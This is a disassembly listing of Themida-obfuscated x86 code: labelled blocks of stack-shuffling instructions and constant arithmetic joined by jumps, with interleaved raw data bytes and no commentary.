		dd 0ECE9242Ch, 55000025h, 2900BE56h, 0EEC10680h, 4ED6F703h
		dd 58DCC681h, 0F68167DEh, 3CE3076Dh, 0A3F4E9h, 4896600h
		dd 6C91E924h, 0CA81FFFFh, 65D65E8Fh, 9D10E9h, 4EC8100h
		dd 89000000h, 96E9242Ch, 68FFFFC3h, 6AC3h, 89241489h, 4EC81E2h
		dd 89000000h, 0E956240Ch, 0FFFFF607h
; ---------------------------------------------------------------------------


loc_5592B8:				; CODE XREF: Themida_:005615B3j
		xor	ecx, [esp]
		mov	esp, [esp]
		push	eax
		sub	dword ptr [esp], 0AA8645Ah
		push	dword ptr [esp]
		jmp	loc_557027
; ---------------------------------------------------------------------------
		dw 2B9h
		dd 0E9000000h, 0FFFFABB9h, 2958C201h, 0F5015AD6h, 0E924348Bh
		dd 49Ah, 24048966h, 0E130FBB4h,	0BC685866h, 0E9000021h
		dd 0AD64h, 4244C29h, 4246C81h, 7ACC70AAh, 350FE9h, 0DDBB5300h
		dd 0E94FBD3Fh, 5F24h, 0BE243489h, 0FF90ADABh, 0FFABB1E9h
		dd 240489FFh, 0EC804DB4h, 0F6CCFE01h, 0CCB252D4h, 0C2FED2F6h
		dd 0AB1FE9h, 24048700h,	3124248Bh, 0E99C2404h, 0FFFF6BCBh
		dd 0BB241C89h, 4BE15653h, 2414F753h, 4BD3F75Bh,	0C381D3F7h
		dd 4BE15657h, 0D7E9DA01h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55936B:				; CODE XREF: Themida_:0055E3B9j
		push	ebx
		push	ecx
		mov	ecx, 15E475FBh
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_555747
; ---------------------------------------------------------------------------


loc_55937C:				; CODE XREF: Themida_:00550E2Aj
		add	eax, edi
		jmp	loc_55D619
; ---------------------------------------------------------------------------
		db 29h
		dd 0B1B7E9D1h, 2B9FFFFh, 81000000h, 0C9657CC6h,	2B78E935h
		dd 4870000h, 81565C24h,	4ECh, 240C8900h, 8B5D565Eh, 61E92434h
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5593B3:				; CODE XREF: Themida_:00555887j
		pop	edi
		push	ebx
		mov	ebx, 2
		sub	eax, ebx
		pop	ebx
		jmp	loc_55BE50
; ---------------------------------------------------------------------------


loc_5593C2:				; CODE XREF: Themida_:00551D69j
		pop	edx
		mov	ch, 0Ah
		xor	ch, bl
		mov	ebx, [esp]
		jmp	loc_56172A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48324h, 44D668h,	24348900h, 0C681E689h
		dd 4, 70DF68h, 24048900h, 0C974E955h, 0FFB9FFFFh, 1FFFFFFh
		dd 0EA8159CAh, 1, 429AE281h, 0EA812AE3h, 0FFFFFFFFh, 0CFEBB951h
		dd 0CA29A2D8h, 0A347E9h, 4BE5600h, 29000000h, 69D5E9F0h
		dd 0C6830000h, 24348704h, 8768E9h
		db 0
; ---------------------------------------------------------------------------


loc_559435:				; CODE XREF: Themida_:0055A4C2j
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55BA67
; ---------------------------------------------------------------------------
		dd 0FE8DB551h, 4AC580C5h, 92E9EE08h, 83FFFF76h,	148704C2h
		dd 0B4E95C24h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_560EEE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 87000000h, 8F5C2414h, 0DF682404h, 0E900003Bh
		dd 0FFFF9DE9h, 59C8895Eh, 4B56B951h, 0E1816060h, 543F5C6Fh
		dd 0A3E1E941h, 1C89FFFFh, 4EC8124h, 89000000h, 0E6892434h
		dd 4C681h, 0EE830000h, 8B88E904h, 34FF0000h, 3E685B24h
		dd 8900007Bh, 5B54241Ch, 3F8268h, 243C8900h, 0FF708EE9h
		dd 815D54FFh, 4C5h, 0BF575300h,	0B1D37A6h, 975DE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5594EA:				; CODE XREF: Themida_:00559561j
		push	edx
		not	byte ptr [esp+1]
		pop	edx
		dec	dh
		not	dh
		jmp	loc_556800
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 37h
		dd 8BFFFFBFh, 14892424h, 124AE924h, 54510000h, 51685259h
		dd 89000059h, 11B82404h, 551A8A26h, 360130BDh, 0C8CD8123h
		dd 4D14C75Ah, 1545C581h, 0D5F70B2Dh, 96FBB53h, 0C381238Dh
		dd 1CA904A6h, 0B38AE9h,	5AD58900h, 1BB53h, 0DD290000h
		dd 4EC815Bh, 0E9000000h, 0D14h
; ---------------------------------------------------------------------------


loc_559558:				; CODE XREF: Themida_:005602AEj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5594EA
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 8C68106h, 89FF4887h,	0EE815EF2h, 0A093663h, 0C681D629h
		dd 0A093663h, 5A2434FFh, 4C481h, 0B8E90000h, 5CFFFFECh
		dd 68241C89h, 4887h, 0FFBA0BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55959D:				; CODE XREF: Themida_:0055B92Fj
		mov	ebp, esp
		push	ebx
		mov	ebx, esp
		jmp	loc_551DC3
; ---------------------------------------------------------------------------


loc_5595A7:				; CODE XREF: Themida_:00558AE4j
		push	ebp
		mov	ebp, 0B7E04C7h
		jmp	loc_557AA7
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 23D74E77h, 6446CA81h, 0E9421332h, 0FFFF8F3Dh
; ---------------------------------------------------------------------------


loc_5595C4:				; CODE XREF: Themida_:00561E6Aj
		sub	esp, 4
		jmp	loc_563AA7
; ---------------------------------------------------------------------------
		db 88h
		dd 0D2F658E2h, 0D5E9D2F6h, 0F60000BBh, 3E4C0DCh, 0C480D4F6h
		dd 58E32076h, 0F6F9C380h, 6EB551DBh, 0B353DDF6h, 0BEB8006h
		dd 8005EB80h, 0CB803AF3h, 4EBC0C0h, 0E9D1EB80h,	0A6D1h
		dd 5351E289h, 99F4E9h, 7B546800h, 4890000h, 1589E924h
		dd 0BF570000h, 4, 0FFA9E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55962D:				; CODE XREF: Themida_:00552F15j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_560E99
; ---------------------------------------------------------------------------
		dd 4B8h, 0C0EE8100h, 10C531Eh, 0C0C681C6h, 580C531Eh, 3048BF57h
		dd 0EE95986h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559657:				; CODE XREF: Themida_:00553938j
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, esi
		not	eax
		jmp	loc_555A4E
; ---------------------------------------------------------------------------
aS_7		db '[齺',0
		db 0
; ---------------------------------------------------------------------------


loc_55966B:				; CODE XREF: Themida_:00563834j
		mov	edi, 4
		jmp	loc_55A0A2
; ---------------------------------------------------------------------------
byte_559675	db 0FFh, 77h, 2Ch	; DATA XREF: Themida_:0054FDD4o
		dd 0FF689AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55967D:				; CODE XREF: Themida_:00564F0Cj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55D1C6
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 7403B824h,	22256F20h, 520AC51h, 4EB4983h
		dd 0F4667A35h, 58C529DAh, 8104EDC1h, 0A3D32E5h,	10E95272h
		dd 3300000Eh, 3C31243Ch, 243C3324h, 8924248Bh, 2F682404h
		dd 585AD262h, 0D2622FBBh, 2AEB815Ah, 29556027h,	42C0E9C3h
		dd 0D8F70000h, 5F615635h, 58C301AEh, 4C381h, 1C330000h
		dd 241C3124h, 5C241C33h, 35A068h, 240C8900h, 582434FFh
		dd 0FF04C483h, 34FF2434h, 4E95924h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559713:				; CODE XREF: Themida_:0055245Aj
		sub	esi, 7FCF52F2h
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, esi
		jmp	loc_55F629
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 48F5C24h, 24248B24h,	0FFFB48E9h, 59CE01FFh, 73ED81h
		dd 0F5014970h, 73C581h,	348B4970h, 5ECAE924h, 248B0000h
		dd 0BE52E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559756:				; CODE XREF: Themida_:0056337Fj
		shr	ecx, 2
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_556E41
; ---------------------------------------------------------------------------


loc_55976A:				; CODE XREF: Themida_:005545F8j
		add	bl, dh
		pop	dx
		add	bl, 99h
		jmp	loc_55FF6B
; ---------------------------------------------------------------------------
word_559776	dw 81ADh		; DATA XREF: Themida_:0054FEA0o
		dd 4ECh, 0ABE8E900h, 0C4810000h, 4, 2E67BB53h, 0E3816177h
		dd 66492DFDh, 6E3DF381h, 0DD092D07h, 0E94D4D5Bh, 0B99Bh
		dd 0EE81DEF7h, 96FFD6E9h, 355EF029h, 79DC791h, 48BC629h
		dd 4C48324h, 0FF9FD3E9h, 244401FFh, 0E95B5804h,	0FFFFF680h
; ---------------------------------------------------------------------------


loc_5597CC:				; CODE XREF: Themida_:0055409Cj
		shr	edx, 3
		push	esi
		mov	esi, 1C156DA8h
		jmp	loc_56189C
; ---------------------------------------------------------------------------


loc_5597DA:				; CODE XREF: Themida_:00555398j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5630B9
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 5C243433h, 0C381FB29h, 0EED003Bh, 0AF6FE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559806:				; CODE XREF: Themida_:00555136j
		add	edx, 20FD1C10h
		add	edx, eax
		sub	edx, 20FD1C10h
		pop	eax
		push	eax
		mov	eax, 4
		jmp	loc_558896
; ---------------------------------------------------------------------------
		dd 15AD329h, 0D9C381D3h, 0E94B3364h, 5159h, 89240C89h
		dd 4C181E1h, 83000000h,	0C8704C1h, 0D6E95C24h, 50FFFFFBh
		dd 4114E9h
		db 0
; ---------------------------------------------------------------------------


loc_55984D:				; CODE XREF: Themida_:0055D386j
		add	eax, ecx
		pop	ecx
		jmp	loc_559C75
; ---------------------------------------------------------------------------
byte_559855	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FD14o
		dd 8B2434FFh, 0C483240Ch, 4C48104h, 68000000h, 2875h, 0E9243C89h
		dd 9AFEh, 8041C680h, 6859FDEEh,	59D8h, 0B7241C89h, 51C7FED7h
		dd 52665AB1h, 0D6F6CE88h, 5A66F188h, 0FFA03BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559899:				; CODE XREF: Themida_:00560CCFj
		push	3E6Fh
		mov	[esp], eax
		jmp	loc_55B153
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C8856624h, 6665E99Ch, 0BA52FFFFh, 6EA4BE3h,	76CAF281h
		dd 0CA817268h, 13FE3CCAh, 990AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5598C9:				; CODE XREF: Themida_:00559BC3j
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_563504
; ---------------------------------------------------------------------------
		dd 8704C783h, 0E95C243Ch, 0FFFF6637h, 0BE243489h, 1, 815EF201h
		dd 80B680EAh, 245401E1h, 1CE95A04h, 0D2FFFF66h,	0E99C242Ch
		dd 0FFFF6613h, 4ED81h, 2C870000h, 34895C24h, 4BE24h, 11680000h
		dd 0E9000075h, 0FFFF85D1h
; ---------------------------------------------------------------------------


loc_559920:				; CODE XREF: Themida_:0055A29Cj
		or	edx, 2A5A5CACh
		add	edx, 99B14B43h
		mov	eax, edx
		pop	edx
		sub	edi, eax
		pop	eax
		xor	eax, edi
		pop	edi
		push	ecx
		jmp	loc_5634BD
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC81240Ch, 4, 7E0E9h, 88505A00h, 0E9E688ECh, 0FFFF6BA6h
		dd 5EBB535Bh, 0E9740536h, 0FFFFD9D4h, 7DE6CA81h, 1AE90F2Ah
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55996B:				; CODE XREF: Themida_:00554670j
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_562E55
; ---------------------------------------------------------------------------


loc_559985:				; CODE XREF: Themida_:00558E02j
		add	edx, 1
		push	edi
		mov	edi, 0B5129676h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5607A3
; ---------------------------------------------------------------------------


loc_55999E:				; CODE XREF: Themida_:00557007j
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	bx, ax
		jmp	loc_5600E9
; ---------------------------------------------------------------------------
		db 0BAh
		dd 17AB0572h, 0FFAF9BE9h, 0C8B5FFFh, 6728E924h,	0ADBDFFFFh
		dd 29B07E29h, 0C6815DEBh, 592A46B6h, 0EE81DE29h, 592A46B6h
		dd 1FF3E95Bh, 8B660000h, 0F5682404h, 8900007Bh,	3168240Ch
		dd 81000012h, 4ECh, 24248900h, 4240483h, 6824048Fh, 6B23h
		dd 0E9240489h, 0FFFF956Fh
; ---------------------------------------------------------------------------


loc_559A0C:				; CODE XREF: Themida_:0055DC7Dj
		mov	ebp, [esp]
		jmp	loc_55D348
; ---------------------------------------------------------------------------


loc_559A14:				; CODE XREF: Themida_:00561FF3j
		pop	dword ptr [esp]
		pop	esp
		sub	eax, 1B072DDBh
		add	eax, ecx
		jmp	loc_553825
; ---------------------------------------------------------------------------
		dd 0E9241C33h, 0FFFFC383h, 0CB0DC581h, 0C68196DEh, 5168127Bh
		dd 6F5CEE81h, 0EE014A3Fh, 6F5CC681h, 0EE814A3Fh, 5168127Bh
		dd 5B36E9h
		db 0
; ---------------------------------------------------------------------------


loc_559A51:				; CODE XREF: Themida_:00558B94j
		dec	eax
		add	eax, 17490E38h
		sub	eax, 0D3270B28h
		jmp	loc_560677
; ---------------------------------------------------------------------------
		db 29h,	4Ch, 24h
		dd 7DE95904h, 0B9FFFFE6h, 67672296h, 0FFEA5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559A75:				; CODE XREF: Themida_:00555191j
		pop	edi
		sub	edx, 1ECC3773h
		add	edx, ecx
		jmp	loc_557B8C
; ---------------------------------------------------------------------------


loc_559A83:				; CODE XREF: Themida_:0055F28Aj
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_560A9F
; ---------------------------------------------------------------------------


loc_559A8C:				; CODE XREF: Themida_:005566BCj
		add	edx, 7E9F22AAh
		and	edx, 7FB4555Bh
		shl	edx, 7
		add	edx, 249D1FDFh
		jmp	loc_55B3B0
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 0A9E95301h, 81000010h, 4C1h,	4C18100h, 0E9000000h, 0FFFF85C7h
		dd 5FC1BE56h, 0E94E634Eh, 0FFFFEA2Dh, 14DEB850h, 0F2353CC6h
		dd 2D3A0538h, 0F81E157Ch, 4D58C531h, 0ED81D5F7h, 0E942FB02h
		dd 54BFEA81h, 0EA017AE7h, 54BFC281h, 505D7AE7h,	4036E6B8h
		dd 48D8F712h, 9B2A0B35h, 0AC4682Dh, 3C890000h, 1473BF24h
		dd 0B8E97AD8h, 0BF00005Dh, 2026D108h, 0E95FF831h, 0FFFF914Dh
; ---------------------------------------------------------------------------


loc_559B24:				; CODE XREF: Themida_:00558781j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jmp	loc_5646A7
; ---------------------------------------------------------------------------
		dd 2F33E1BBh, 245C2957h, 44815B0Ch, 68EE0824h, 148B4636h
		dd 4C48124h, 8B000000h,	0C483241Ch, 242C8104h, 21A01877h
		dd 0B9240481h, 11C0D55h, 2C812404h, 0D55B924h, 2404811Ch
		dd 21A01877h, 8904EC83h, 0CFE9240Ch
		db 12h,	2 dup(0)
byte_559B7F	db 66h			; DATA XREF: Themida_:0054FD28o
		dd 66627668h, 665A4A68h, 66242489h, 2240481h, 48F6600h
		dd 65686624h, 0C89662Fh, 2B96624h, 0E9536600h, 6E7Fh
; ---------------------------------------------------------------------------


loc_559BA8:				; CODE XREF: Themida_:00558BBCj
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		jmp	loc_5514D6
; ---------------------------------------------------------------------------


loc_559BBA:				; CODE XREF: Themida_:00554855j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5598C9
; ---------------------------------------------------------------------------


loc_559BC8:				; CODE XREF: Themida_:005551ACj
		mov	esi, 4A043030h
		inc	esi
		neg	esi
		jmp	loc_560717
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 8F5A0424h, 248B2404h, 0CD36624h, 2CE99C24h, 81FFFF63h
		dd 4C3h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_559F76
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 6Eh
		dd 89FFFFA0h, 0E389241Ch, 3EF3BD55h, 0E5815E91h, 51FF3A85h
		dd 0FFFFBF57h, 0FD29FFFFh, 0F7D5F75Fh, 81D5F7DDh, 0EE5B7BC5h
		dd 0BB534D62h, 4F9C770Bh, 0FF9F8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559C31:				; CODE XREF: Themida_:00553F37j
		mov	[esp], edi
		jmp	loc_5630C7
; ---------------------------------------------------------------------------
aPs2d		db 'Pé2„',0
		dw 5B00h
		dd 3B1DE781h, 814F287Fh, 0CB6901E7h, 7517E92Ch,	0ED80FFFFh
		dd 1C58001h, 0FEF9B753h, 7E7C0C7h, 5D1CE9h, 66B85000h
		dd 1231160h, 0FB0158C3h, 0FF7151E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559C75:				; CODE XREF: Themida_:00559850j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55A3EE
; ---------------------------------------------------------------------------
aSiSM		db 'SˆÃéÎŒ',0
		align 4
		dd 575AD701h, 42474FFh,	78A5E9h
		db 0, 0C3h
word_559C96	dw 77FFh		; DATA XREF: Themida_:0054FC34o
		dd 59669D1Ch, 9C2414D2h, 0FF6272E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559CA5:				; CODE XREF: Themida_:00555ADDj
		push	edx
		push	edi
		jmp	loc_560587
; ---------------------------------------------------------------------------
aMrRaHsmi	db '¬R²€êHémI',0       ; DATA XREF: Themida_:0054FCF8o
		align 4
dword_559CB8	dd 24048B66h, 2B7768h, 242C8900h, 0D692E954h, 0C101FFFFh
					; DATA XREF: Themida_:0054FC6Co
		dd 3F6368h, 242C8900h, 3510ABBDh, 4EDC16Ah, 83EF581h, 0E9011ED2h
		dd 83242C8Bh, 0E98104C4h, 10187697h, 0FFA987E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559CF5:				; CODE XREF: Themida_:00559FA8j
		sub	dl, cl
		pop	ecx
		push	edx
		jmp	loc_55E7EE
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 815D5C24h, 837141EDh, 0A11AE909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559D0E:				; CODE XREF: Themida_:00561DD8j
		xor	ebx, esi
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 66E94537h
		or	eax, 27F32D44h
		add	eax, 78AE4F76h
		and	eax, 0AA02597h
		inc	eax
		sub	eax, 0E6E2E827h
		jmp	loc_5517EB
; ---------------------------------------------------------------------------


loc_559D38:				; CODE XREF: Themida_:0055DEBEj
		not	edx
		add	edx, 5E5F6E8Dh
		add	edx, 1
		xor	edx, 0EE189ACFh
		xor	eax, edx
		pop	edx
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	dx, [esp]
		push	eax
		mov	eax, esp
		push	4609h
		mov	[esp], ecx
		jmp	loc_5510B3
; ---------------------------------------------------------------------------
		dd 68h,	242C2900h, 65F5815Dh, 0D12E6131h, 50564DE5h, 0AA6A67B8h
		dd 3515E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559D86:				; CODE XREF: Themida_:0054FFDFj
		xor	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5615AD
; ---------------------------------------------------------------------------


loc_559DB2:				; CODE XREF: Themida_:0055003Bj
		mov	edx, 453A304Fh
		push	ebx
		push	ecx
		mov	ecx, 64F8Ch
		jmp	loc_556CDC
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2D7360E7h, 41E9D7F7h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559DCF:				; CODE XREF: Themida_:00565111j
		inc	eax
		xchg	eax, edx
		sub	edx, 0AB660FCAh
		shl	edx, 1
		jmp	loc_556A29
; ---------------------------------------------------------------------------


loc_559DDE:				; CODE XREF: Themida_:00552384j
		sub	ebp, eax
		pop	eax
		pop	edx
		jmp	loc_561E90
; ---------------------------------------------------------------------------
		db 89h
		dd 2DE9241Ch
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559DEF:				; CODE XREF: Themida_:0056404Dj
		sub	eax, 73582F87h
		shl	eax, 5
		push	esi
		mov	esi, 1B591D1Fh
		and	esi, 14F54151h
		xor	esi, 5E2B5C13h
		xor	eax, esi
		pop	esi
		or	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shl	ecx, 1
		add	ecx, 0D8053636h
		jmp	loc_553605
; ---------------------------------------------------------------------------


loc_559E24:				; CODE XREF: Themida_:00551B58j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	edi
		push	ebx
		mov	ebx, 46D7305Fh
		mov	edi, 46D73063h
		sub	edi, ebx
		pop	ebx
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edx
		mov	edx, 1ABB36F4h
		jmp	loc_55AACB
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 55E18951h, 0E62CBBBDh, 0DDF7450Fh, 5201E9h
		db 0
; ---------------------------------------------------------------------------


loc_559E69:				; CODE XREF: Themida_:00559026j
		add	edx, edi
		push	esi
		mov	esi, 619E5B78h
		sub	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_55B7A5
; ---------------------------------------------------------------------------
		db 68h
		dd 2C6h, 50241489h, 6089E99Ch, 0F988FFFFh, 0CF88D1F6h
		dd 0C7805966h, 80C7FEC9h, 0F78087CFh, 0EA04B9h,	5BEA2CF8h
		dd 0D800E92Ch, 3E2CE904h, 0FFD30BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559EB5:				; CODE XREF: Themida_:0055CEDDj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55063D
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 2404895Ch, 542722B8h, 2C452571h, 0D8F765F4h,	0FF8D00E9h
		dd 240C33FFh, 33240C31h, 0E95C240Ch, 2FE1h
; ---------------------------------------------------------------------------


loc_559EF0:				; CODE XREF: Themida_:005509B9j
		pop	eax
		push	7E80h
		jmp	loc_552214
; ---------------------------------------------------------------------------
		db 89h
		dd 91B95FFBh, 29537550h, 0C2815BD9h, 0AAE7940h,	5DB2C281h
		dd 0CA014AC6h, 5DB2EA81h, 0EA814AC6h, 0AAE7940h, 0FF84A8E9h
		dd 4BDFFh, 0EE290000h, 2434875Dh, 240C895Ch, 0BF57E189h
		dd 665D08ECh, 638868h, 241C8900h, 2A0B7EBBh, 8BDF2972h
		dd 0C481241Ch, 4, 10A7EF81h, 0C78167C1h, 21C0004Ch, 12F1C781h
		dd 0F90151CEh, 81243C8Bh, 4C4h,	0CD5FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F76:				; CODE XREF: Themida_:00559BF4j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5527C8
; ---------------------------------------------------------------------------


loc_559F84:				; CODE XREF: Themida_:0055E5F2j
		add	ch, 0B2h
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	eax
		mov	al, 0E1h
		xor	al, 41h
		mov	dl, al
		pop	eax
		add	dl, 0ECh
		and	dl, 0E8h
		or	dl, 9Eh
		add	dl, 9Eh
		push	ecx
		mov	cl, 39h
		jmp	loc_559CF5
; ---------------------------------------------------------------------------
		db 0F6h, 0D9h, 80h
		dd 0CA30E3C1h, 0D7885359h, 1C8BFD88h, 4C48324h,	59E8305Ah
		dd 0A5686653h, 1489666Eh, 8DB75324h, 0FE304CB6h, 0F088505Bh
		dd 0E958C388h, 0FFFFA7D3h, 0F86D10B8h, 5E0D157h, 0E58A6C64h
		dd 1DB7E9h, 59F58100h, 5179AD3Eh, 796F88B9h, 0CAC9817Ch
		dd 0C1049D40h, 0E98105E9h, 0BEE96FA4h, 0E959CD09h, 5346h
		dd 8105E3C1h, 0B1F360EBh, 7BDCE904h, 0D009FFFFh, 0FF79F7E9h
		dd 5F07BEFFh, 0DEF77BE4h, 0CFEE8146h, 8170EA70h, 0BB360DF6h
		dd 0E9F23163h, 0FFFFF06Eh, 3DF8BB53h, 72E97FBAh
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A04F:				; CODE XREF: Themida_:005648C6j
		mov	ebx, 48154DA0h
		dec	ebx
		shr	ebx, 2
		jmp	loc_55BE97
; ---------------------------------------------------------------------------


loc_55A05D:				; CODE XREF: Themida_:0055194Dj
		sub	eax, ebp
		jmp	loc_550F6E
; ---------------------------------------------------------------------------
		dd 8704C483h, 248B240Ch, 0C8B6624h, 2916824h, 34890000h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 0C5AEE95Ch
		dd 0E181FFFFh, 502F7389h, 7184E981h, 0CE01500Eh, 88CFE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A0A2:				; CODE XREF: Themida_:00559670j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55CE45
; ---------------------------------------------------------------------------
		dd 2203C281h, 56510F3Fh, 0BA75E6BEh, 0CE81467Ch, 378B3FC2h
		dd 658DC681h, 45E9E030h, 310000A9h, 0E9525FFAh,	0FFFFD1A2h
		dd 80CDF480h, 0EC8075F4h, 80DCF601h, 70E94BC4h,	0FF00000Ch
		dd 535B2434h, 0BD555B54h, 39EF6DD5h, 0F581DDF7h, 3F863FABh
		dd 0E581D5F7h, 67AA7FF2h, 6567E581h, 0ED810EA0h, 620405Eh
		dd 0E95DEB01h, 58F0h, 8E9C15Ch,	372CE9h, 24248900h, 4240483h
		dd 9012E959h, 5455FFFFh, 4C5815Dh, 81000000h, 2EDh, 242C8700h
		dd 3489665Ch, 7A686624h, 665E66FCh, 8B66F031h, 0E9532434h
		dd 3506h, 0FF5DB2E9h, 5EF321FFh, 42FAB850h, 0E8C13A23h
		dd 0A349E905h, 30BDFFFFh, 16D1B11h, 0D1015DE9h,	1130E981h
		dd 34FF6D1Bh, 0D7E95A24h, 83FFFF73h, 685004C4h,	0A80h
		dd 24048F54h, 4240483h,	40558h,	0EC830000h, 8DBBE904h
		dd 34890000h, 0BFB95124h, 813A9B7Ch, 12ED74C1h,	59CE892Fh
		dd 807CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A1C5:				; CODE XREF: Themida_:00557A6Dj
		pop	esi
		jmp	loc_55BF70
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F58105EDh, 54CA15FDh, 1CBE581h, 0BA521177h,	91A4A1EFh
		dd 0FFB7BFE9h, 4C481FFh, 66000000h, 4244481h, 0D0E94B93h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A1F7:				; CODE XREF: Themida_:00556A91j
		pop	ebx
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	26BCh
		mov	[esp], ecx
		jmp	loc_55A695
; ---------------------------------------------------------------------------


loc_55A210:				; CODE XREF: Themida_:00563CB6j
		add	edx, 2B05796Ch
		sub	edx, esi
		push	ebp
		mov	ebp, 4B46AAEh
		add	ebp, 36F5C89h
		and	ebp, 3725439Fh
		shr	ebp, 2
		or	ebp, 7D1D3245h
		add	ebp, 0ADE806A7h
		sub	edx, ebp
		jmp	loc_5572CD
; ---------------------------------------------------------------------------
		dd 81241C89h, 4ECh, 240C8900h, 0CF88D188h, 0FA885259h
		dd 8B5AD588h, 0C483241Ch, 88505304h, 83DDE9E8h,	0E95BFFFFh
		dd 1485h, 0E9242C89h, 4868h
; ---------------------------------------------------------------------------


loc_55A274:				; CODE XREF: Themida_:00550B45j
		mov	eax, edi
		pop	edi
		sub	eax, 4B6A5EECh
		mov	ebx, eax
		jmp	loc_55295B
; ---------------------------------------------------------------------------


loc_55A283:				; CODE XREF: Themida_:005635CEj
		mov	ebp, 4
		jmp	loc_5642B2
; ---------------------------------------------------------------------------


loc_55A28D:				; CODE XREF: Themida_:005515C4j
		push	edx
		mov	edx, 4E9F4F31h
		shr	edx, 6
		sub	edx, 5C085B6Ch
		jmp	loc_559920
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0D1h
		dd 5BFFFF95h, 28E9EB01h, 58FFFF88h, 1C8BDC28h, 4C48324h
